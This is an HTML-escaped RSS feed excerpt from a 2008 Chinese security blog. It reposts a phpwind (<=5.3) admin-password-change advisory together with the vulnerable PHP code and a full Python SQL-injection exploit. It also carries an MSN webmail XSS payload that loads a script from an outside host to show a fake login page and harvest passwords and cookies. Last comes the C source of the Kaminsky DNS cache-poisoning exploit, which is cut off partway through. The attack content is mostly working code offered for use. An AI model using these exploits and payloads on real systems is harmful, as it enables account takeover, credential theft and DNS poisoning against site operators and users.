/&gt;* 设置&amp;ldquo;allow_url_fopen&amp;rdquo;为&amp;ldquo;off&amp;rdquo; &lt;br /&gt;这个选项可以禁止远程文件功能，极力推荐！</description><pubDate>Fri, 08 Aug 2008 10:10:53 +0800</pubDate><author>X4ng's Blog</author><comments>http://cmwlwx.blog.sohu.com/96723063.html#comment</comments><guid isPermaLink="false">http://cmwlwx.blog.sohu.com/96723063.html</guid><dc:creator>X4ng's Blog</dc:creator><fs:srclink>http://cmwlwx.blog.sohu.com/96723063.html</fs:srclink><fs:srcfeed>http://cmwlwx.blog.sohu.com/rss</fs:srcfeed><fs:itemid>feedsky/cmwl/~1217621/117736122/1219356</fs:itemid></item><item><title>phpwind任意修改管理员密码漏洞</title><link>http://item.feedsky.com/~feedsky/cmwl/~1217621/117736123/1219356/1/item.html</link><description>漏洞说明：PHPWind 论坛系统 是一套采用 php+mysql 数据库方式运行并可生成
html
页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞，成功利用此漏洞可
以直接修改管理员的密码进入后台，取得管理员权限。&lt;br /&gt;&lt;br /&gt;漏洞厂商：&lt;a href=&quot;http://www.phpwind.net/&quot; title=&quot;http://www.phpwind.net&quot; target=&quot;_blank&quot;&gt;http://www.phpwind.net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;漏洞来源：&lt;a href=&quot;http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt&quot; title=&quot;http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt&quot; target=&quot;_blank&quot;&gt;http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;漏洞解析：在phpwind的wap模块中的字符转码程序存在问题，细节在&lt;a href=&quot;#&quot; title=&quot;http://www.80sec.com/php-coder-class-security-alert.html，但是80sec发现，在phpwind的wap模块中，该编码转换类存在更为严重的问题，甚至没有任何的条件，即使安装了iconv等编码模块一样受到该漏洞的影响，几乎没有条件限制。在phpwind中，wap是默认关闭的，但是我们发现在phpwind&quot; target=&quot;_blank&quot;&gt;http://www.80sec.com
/php-coder-class-security-alert.html，但是80sec发现，在phpwind的wap模块中，该编码转换类存在更
为严重的问题，甚至没有任何的条件，即使安装了iconv等编码模块一样受到该漏洞的影响，几乎没有条件限制。在phpwind中，wap是默认关闭的，
但是我们发现在phpwind&lt;/a&gt;&amp;lt;=5.3版本中，变量存在全局没有初始化的问题，导致远程用户可以开启该模块，从而导致一个注射安全漏洞产生。&lt;br /&gt;在phpwind中的注射漏洞中，phpwind过分相信从数据库中取出的变量，从而可能可以更改一些数据处理流程，导致任意修改其他用户的密码，包括管理员，问题代码在wap_mod.php中如下：&lt;br /&gt;&lt;br /&gt;function wap_login($username,$password){&lt;br /&gt;global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;&lt;br /&gt;&lt;br /&gt;$men=$db-&amp;gt;get_one(&amp;quot;SELECT
m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN
pw_memberdata md ON md.uid=m.uid WHERE username='$username'&amp;quot;);&lt;br /&gt;if($men){&lt;br /&gt;$e_login=explode(&amp;quot;|&amp;quot;,$men['onlineip']);&lt;br /&gt;if($e_login[0]!=$onlineip.&amp;rsquo; *&amp;rsquo; || ($timestamp-$e_login[1])&amp;gt;600 || $e_login[2]&amp;gt;1 ){&lt;br /&gt;$men_uid=$men['uid'];&lt;br /&gt;$men_pwd=$men['password'];&lt;br /&gt;$check_pwd=$password;&lt;br /&gt;if($men['yz'] &amp;gt; 2){&lt;br /&gt;wap_msg(&amp;rsquo;c');&lt;br /&gt;}&lt;br /&gt;if(strlen($men_pwd)==16){&lt;br /&gt;$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/&lt;br /&gt;}&lt;br /&gt;if($men_pwd==$check_pwd){&lt;br /&gt;if(strlen($men_pwd)==16){&lt;br /&gt;$db-&amp;gt;update(&amp;rdquo;UPDATE pw_members SET password=&amp;rsquo;$password&amp;rsquo; WHERE uid=&amp;rsquo;$men_uid&amp;rsquo;&amp;rdquo;);&lt;br /&gt;}&lt;br /&gt;$L_groupid=(int)$men['groupid'];&lt;br /&gt;Cookie(&amp;rdquo;ck_info&amp;rdquo;,$db_ckpath.&amp;rdquo;\t&amp;rdquo;.$db_ckdomain);&lt;br /&gt;}else{&lt;br /&gt;global $L_T;&lt;br /&gt;$L_T=$e_login[2];&lt;br /&gt;$L_T ? $L_T&amp;ndash;:$L_T=5;&lt;br /&gt;$F_login=&amp;rdquo;$onlineip *|$timestamp|$L_T&amp;rdquo;;&lt;br /&gt;$db-&amp;gt;update(&amp;rdquo;UPDATE pw_memberdata SET onlineip=&amp;rsquo;$F_login&amp;rsquo; WHERE uid=&amp;rsquo;$men_uid&amp;rsquo;&amp;rdquo;);&lt;br /&gt;wap_msg(&amp;rsquo;login_pwd_error&amp;rsquo;);&lt;br /&gt;}&lt;br /&gt;}else{&lt;br /&gt;global $L_T;&lt;br /&gt;$L_T=600-($timestamp-$e_login[1]);&lt;br /&gt;wap_msg(&amp;rsquo;login_forbid&amp;rsquo;);&lt;br /&gt;}&lt;br /&gt;} else {&lt;br /&gt;global $errorname;&lt;br /&gt;$errorname=$username;&lt;br /&gt;wap_msg(&amp;rsquo;user_not_exists&amp;rsquo;);&lt;br /&gt;}&lt;br /&gt;Cookie(&amp;rdquo;winduser&amp;rdquo;,StrCode($men_uid.&amp;rdquo;\t&amp;rdquo;.PwdCode($password)));&lt;br /&gt;Cookie(&amp;rsquo;lastvisit&amp;rsquo;,&amp;rdquo;,0);&lt;br /&gt;wap_msg(&amp;rsquo;wap_login&amp;rsquo;,'index.php&amp;rsquo;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;甚至不用注册账户，只要精心构造username即可利用此漏洞。&lt;br /&gt;&lt;br /&gt;漏洞利用：80sec提供exploit如下：&lt;br /&gt;&lt;br /&gt;import urllib2,httplib,sys&lt;br /&gt;httplib.HTTPConnection.debuglevel = 1&lt;br /&gt;cookies = urllib2.HTTPCookieProcessor()&lt;br /&gt;opener = urllib2.build_opener(cookies)&lt;br /&gt;argvs=sys.argv&lt;br /&gt;&lt;br /&gt;data
= &amp;quot;db_wapifopen=1&amp;amp;prog=login&amp;amp;pwuser=shit%c1'union select
&amp;quot;+argvs[2]+&amp;rdquo;,mid(md5(123456),9,16),3,1,5/*&amp;amp;pwpwd=123456&amp;Prime;&lt;br /&gt;pwurl = &amp;ldquo;%s&amp;rdquo; % argvs[1]&lt;br /&gt;pwurl = pwurl + &amp;ldquo;wap/index.php&amp;rdquo;&lt;br /&gt;&lt;br /&gt;print &amp;ldquo;\r\n\r\nPhpwind Admin Pass Change Exploit&amp;rdquo;&lt;br /&gt;print &amp;ldquo;Phpwind &amp;lt;=5.3 &amp;quot;&lt;br /&gt;print &amp;quot;By 80sec &amp;quot;&lt;br /&gt;print &amp;quot;python.exe &amp;quot;+argvs[0]+&amp;quot; &lt;a href=&quot;http://www.80sec.com/pwforum/&quot; title=&quot;http://www.80sec.com/pwforum/&quot; target=&quot;_blank&quot;&gt;http://www.80sec.com/pwforum/&lt;/a&gt; 1\r\n&amp;quot;&lt;br /&gt;&lt;br /&gt;print &amp;quot;\r\n[+]TargetForum: &amp;quot;+argvs[1]&lt;br /&gt;print &amp;quot;[+]TargetId: &amp;quot;+argvs[2]&lt;br /&gt;&lt;br /&gt;request = urllib2.Request(&lt;br /&gt;url = pwurl ,&lt;br /&gt;headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},&lt;br /&gt;data = data)&lt;br /&gt;f=opener.open(request)&lt;br /&gt;headers=f.headers.dict&lt;br /&gt;try :&lt;br /&gt;cookie=headers[&amp;quot;set-cookie&amp;quot;]&lt;br /&gt;if cookie.index('winduser') :&lt;br /&gt;print &amp;quot;[+]Exploit Success&amp;quot;&lt;br /&gt;else : print &amp;quot;[-]Exploit Failed&amp;quot;&lt;br /&gt;&lt;br /&gt;except:&lt;br /&gt;print &amp;quot;[-]Exploit Failed&amp;quot;&lt;br /&gt;&lt;br /&gt;漏洞修复：请及时打上官方最新补丁 &lt;a href=&quot;http://www.phpwind.net/read-htm-tid-643202.html&quot; title=&quot;http://www.phpwind.net/read-htm-tid-643202.html&quot; target=&quot;_blank&quot;&gt;http://www.phpwind.net/read-htm-tid-643202.html&lt;/a&gt;&lt;br /&gt;本站内容均为原创，转载请务必保留署名与链接！&lt;br /&gt;phpwind任意修改管理员密码漏洞:&lt;a href=&quot;http://www.80sec.com/phpwind-admin-pass-change-vul.html&quot; title=&quot;http://www.80sec.com/phpwind-admin-pass-change-vul.html&quot; target=&quot;_blank&quot;&gt;http://www.80sec.com/phpwind-admin-pass-change-vul.html&lt;/a&gt;</description><category>Web攻防</category><pubDate>Fri, 08 Aug 2008 10:09:30 +0800</pubDate><author>X4ng's Blog</author><comments>http://cmwlwx.blog.sohu.com/96722935.html#comment</comments><guid isPermaLink="false">http://cmwlwx.blog.sohu.com/96722935.html</guid><dc:creator>X4ng's Blog</dc:creator><fs:srclink>http://cmwlwx.blog.sohu.com/96722935.html</fs:srclink><fs:srcfeed>http://cmwlwx.blog.sohu.com/rss</fs:srcfeed><fs:itemid>feedsky/cmwl/~1217621/117736123/1219356</fs:itemid></item><item><title>msn最新跨站代码</title><link>http://item.feedsky.com/~feedsky/cmwl/~1217621/117736124/1219356/1/item.html</link><description>来自：幻影maillist&lt;br /&gt;&lt;br /&gt;ps:用web收msn邮件时候小心点了，详情查看附件，贴出来的可能不太好用。&lt;br /&gt;&lt;br /&gt;monkeycz to ph4nt0m：&lt;div&gt;&amp;lt;font
color=&amp;quot;ffffff&amp;quot;&amp;gt; &amp;lt;div id=&amp;quot;jmp&amp;quot;
style=&amp;quot;display:none&amp;quot;&amp;gt;nop&amp;lt;/div&amp;gt;&amp;lt;div id=&amp;quot;ly&amp;quot;
style=&amp;quot;display:none&amp;quot;&amp;gt;function ok(){return
true};window.onerror=ok&amp;lt;/div&amp;gt;&amp;lt;div id=&amp;quot;tip&amp;quot; title=&amp;quot;&amp;amp;lt;a
style=&amp;amp;quot;display:none&amp;amp;quot;&amp;amp;gt;&amp;quot;
style=&amp;quot;display:none&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div id=&amp;quot;tap&amp;quot; title=&amp;quot;&amp;amp;lt;&amp;quot;
style=&amp;quot;display:none&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div id=&amp;quot;tep&amp;quot; title=&amp;quot;&amp;amp;gt;&amp;quot;
style=&amp;quot;display:none&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;style&amp;gt;div{background-image:expression(javascript:1?document.write(EC_tip.title+';top:'+EC_tap.title+'/a'+EC_tep.title+EC_tap.title+'script
id=nop'+EC_tep.title+EC_ly.innerHTML+EC_tap.title+'/script'+EC_tep.title+EC_tap.title+'script
src=http://xxx.com/test/index.asp?uid=someone@hotmail.com'+EC_tep.title+EC_tap.title+'/script'+EC_tep.title):1=1);}&amp;lt;/style&amp;gt;&amp;lt;/font&amp;gt;&lt;/div&gt;&lt;br /&gt;coolman to ph4nt0m:&lt;div&gt;此跨站可以在目标客户看邮件的时候打开一个伪造的msn登录页面，要求客户重新输入密码，获取密码，cookies，来源ip，等信息&lt;br /&gt;至于跨站里那个index.asp就是伪造的假登录页面&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.box.net/shared/o83q91cjk4&quot; target=&quot;_blank&quot;&gt;下载&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;</description><category>Web攻防</category><pubDate>Fri, 08 Aug 2008 10:08:57 +0800</pubDate><author>X4ng's Blog</author><comments>http://cmwlwx.blog.sohu.com/96722892.html#comment</comments><guid isPermaLink="false">http://cmwlwx.blog.sohu.com/96722892.html</guid><dc:creator>X4ng's Blog</dc:creator><fs:srclink>http://cmwlwx.blog.sohu.com/96722892.html</fs:srclink><fs:srcfeed>http://cmwlwx.blog.sohu.com/rss</fs:srcfeed><fs:itemid>feedsky/cmwl/~1217621/117736124/1219356</fs:itemid></item><item><title>Kaminsky DNS Cache Poisoning Attack</title><link>http://item.feedsky.com/~feedsky/cmwl/~1217621/117736125/1219356/1/item.html</link><description>&lt;h1 style=&quot;text-align: center;&quot;&gt;&lt;span&gt;Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack&lt;/span&gt;&lt;/h1&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt;&amp;nbsp;* Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack&lt;br /&gt;&lt;br /&gt;&amp;nbsp;*&lt;br /&gt;&lt;br /&gt;&amp;nbsp;* Compilation:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;* $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm&lt;br /&gt;&lt;br /&gt;&amp;nbsp;*&lt;br /&gt;&lt;br /&gt;&amp;nbsp;* Dependency: libdnet (aka libdumbnet-dev under Ubuntu)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;*&lt;br /&gt;&lt;br /&gt;&amp;nbsp;* Author: marc.bevand at rapid7 dot com&lt;br /&gt;&lt;br /&gt;&amp;nbsp;*/&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;#define _BSD_SOURCE&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;err.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;math.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;time.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;dumbnet.h&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;#define DNSF_RESPONSE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (1&amp;lt;&amp;lt;15)&lt;br /&gt;&lt;br /&gt;#define DNSF_AUTHORITATIVE (1&amp;lt;&amp;lt;10)&lt;br /&gt;&lt;br /&gt;#define DNSF_REC_DESIRED&amp;nbsp;&amp;nbsp; (1&amp;lt;&amp;lt;8)&lt;br /&gt;&lt;br /&gt;#define DNSF_REC_AVAILABLE (1&amp;lt;&amp;lt;7)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;#define TYPE_A&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x1&lt;br /&gt;&lt;br /&gt;#define TYPE_NS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x2&lt;br /&gt;&lt;br /&gt;#define CLASS_IN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;struct dns_pkt&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; uint16_t txid;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; uint16_t flags;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; uint16_t nr_quest;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; uint16_t nr_ans;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; uint16_t nr_auth;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; uint16_t nr_add;&lt;br /&gt;&lt;br /&gt;} __attribute__ ((__packed__));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; unsigned bufi, i, j;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; bufi = i = j = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; while (name[i])&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (name[i] == '.')&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (bufi + 1 + (i - j) &amp;gt; size)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;format_domain overflow\n&amp;quot;), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; buf[bufi++] = i - j;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; memcpy(buf + bufi, name + j, i - j);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bufi += i - j;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; j = i + 1;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i++;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (bufi + 1 + 2 + 2 &amp;gt; size)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;format_domain overflow\n&amp;quot;), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; buf[bufi++] = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; *len = bufi;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, &lt;br /&gt;&lt;br /&gt;uint16_t class)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; uint16_t tmp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // name&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; format_domain(buf, size, len, name);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // type&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; tmp = htons(type);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; memcpy(buf + *len, &amp;amp;tmp, sizeof (tmp));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; *len += sizeof (tmp);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // class&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; tmp = htons(class);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; memcpy(buf + *len, &amp;amp;tmp, sizeof (tmp));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; *len += sizeof (tmp);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, &lt;br /&gt;&lt;br /&gt;uint16_t class, uint32_t ttl, const char *data)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; format_qr(buf, size, len, name, type, class);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // ttl&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ttl = htonl(ttl);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; memcpy(buf + *len, &amp;amp;ttl, sizeof (ttl));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; *len += sizeof (ttl);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // data length + data&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; uint16_t dlen;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; struct addr addr;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; switch (type)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; case TYPE_A:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dlen = sizeof (addr.addr_ip);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; case TYPE_NS:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dlen = strlen(data) + 1;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; default:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;format_rr: unknown type %02x&amp;quot;, type);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; dlen = htons(dlen);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; memcpy(buf + *len, &amp;amp;dlen, sizeof (dlen));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; *len += sizeof (dlen);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // data&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; unsigned len2;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; switch (type)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; case TYPE_A:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (addr_aton(data, &amp;amp;addr) &amp;lt; 0)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;invalid destination IP: %s&amp;quot;, data), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; memcpy(buf + *len, &amp;amp;addr.addr_ip, sizeof (addr.addr_ip));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *len += sizeof (addr.addr_ip);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; case TYPE_NS:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; format_domain(buf + *len, size - *len, &amp;amp;len2, data);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *len += len2;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; default:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;format_rr: unknown type %02x&amp;quot;, type);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, &lt;br /&gt;&lt;br /&gt;const char *name)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; u_char *out = buf;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; struct dns_pkt p = {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .txid = htons(txid),&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .flags = htons(flags),&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .nr_quest = htons(1),&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .nr_ans = htons(0),&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .nr_auth = htons(0),&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .nr_add = htons(0),&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; };&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; u_char qr[256];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; unsigned l;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; format_qr(qr, sizeof (qr), &amp;amp;l, name, TYPE_A, CLASS_IN);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (sizeof (p) + l &amp;gt; size)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;dns_query overflow&amp;quot;), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; memcpy(out, &amp;amp;p, sizeof (p));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; out += sizeof (p);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; memcpy(out, qr, l);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; out += l;&lt;br /&gt;&lt;br 